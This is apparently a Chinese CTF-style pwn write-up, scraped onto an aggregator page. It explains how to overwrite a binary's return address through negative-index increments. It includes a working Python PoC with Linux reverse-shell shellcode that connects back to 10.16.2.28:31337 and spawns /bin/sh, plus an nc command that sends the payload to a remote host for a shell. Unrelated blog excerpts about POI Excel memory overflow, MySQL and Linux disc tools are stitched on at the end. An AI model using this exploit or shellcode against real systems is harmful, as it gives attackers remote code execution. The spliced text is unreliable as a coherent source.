程式介面:
做這種題可以先將 函式流程理出來就好做了
int __cdecl sub_8048c00() 主功能函式
int __cdecl sub_8048c00()
{ char *v0; // eax@1
signed int v1; // eax@4
int result; // eax@10
char v3; // [sp+13h] [bp-19h]@2
char arr; // [sp+14h] [bp-18h]@14
char v5; // [sp+1bh] [bp-11h]@1
int v6; // [sp+1ch] [bp-10h]@1
可以看到主函式 sub_8048c00 的返回位址肯定比 arr字串的位址高,所以可以修改返回位址可以發現漏洞點:
sub_8048c00 主功能函式
返回位址 :0804859e
修改為 0804b1e0
輸入 " -17"可以85 ++ (0xb1-0x85)次
輸入 " -16"可以9e ++ (0xe0-0x9e)次
edb看到:
gdb可以看到:
最後nc 218.2.197.251:1234 1234 < payload.txt 即可獲得shell
poc:
shellcode = (
#define ipaddr '\x0a\x10\x02\x1c' 10.16.2.28
#define port '\x7a\x69'
'\x31\xc0\x31\xdb\x31\xc9\x31\xd2'
'\xb0\x66\xb3\x01\x51\x6a\x06\x6a'
'\x01\x6a\x02\x89\xe1\xcd\x80\x89'
'\xc6\xb0\x66\x31\xdb\xb3\x02\x68'
#ipaddr
'\x0a\x10\x02\x1c'
'\x66\x68'
#port
'\x7a\x69'
'\x66\x53\xfe'
'\xc3\x89\xe1\x6a\x10\x51\x56\x89'
'\xe1\xcd\x80\x31\xc9\xb1\x03\xfe'
'\xc9\xb0\x3f\xcd\x80\x75\xf8\x31'
'\xc0\x52\x68\x6e\x2f\x73\x68\x68'
'\x2f\x2f\x62\x69\x89\xe3\x52\x53'
'\x89\xe1\x52\x89\xe2\xb0\x0b\xcd'
'\x80\x90'
)data = ''
data += 'a\n -16\n'*(0xe0-0x9e)
data += 'a\n -17\n'*(0xb1-0x85)
data += 'a\n1\n'
data += 'c\ny\n'
data += 'name\n'
data += shellcode+'\n'
data += 'd\n'
open('payload.txt','w').write(data)
import binascii
print repr(binascii.hexlify(data))
POI 解決寫入excel記憶體溢位
下面是結構圖 在專案中遇到二十萬行資料要寫入到excel中時會記憶體溢位,一般方法是調大tomcat的記憶體,但是調到2048m還是會記憶體溢位報錯 poi官網給了一種大批量資料寫入的方法 使用sxxfworkbook 類進行大批量寫入操作解決了這個問題 import junit.framework...
linux 記憶體溢位排查 mysql記憶體溢位處理
業務場景 mysql 元件版本 mysql 5.7.25軟體架構 兩主兩從 01問題描述 mysql是乙個關係型資料庫管理系統,屬於oracle旗下產品。mysql是最流行的關係型資料庫管理系統之一,在web應用方面,mysql是最好的rdbms relational database manage...
Linux 光碟寫入工具
1 建立映像檔 1 製作一般資料的光碟映像檔案 命令 mkisofs o 映像檔 jrv v vol m file 待備份檔案 graft point isodir systemdir 選項與引數 o 後面接你想要產生的那個映像檔檔名。j 產生較相容於 windows 機器的檔名結構,可增加檔名長度...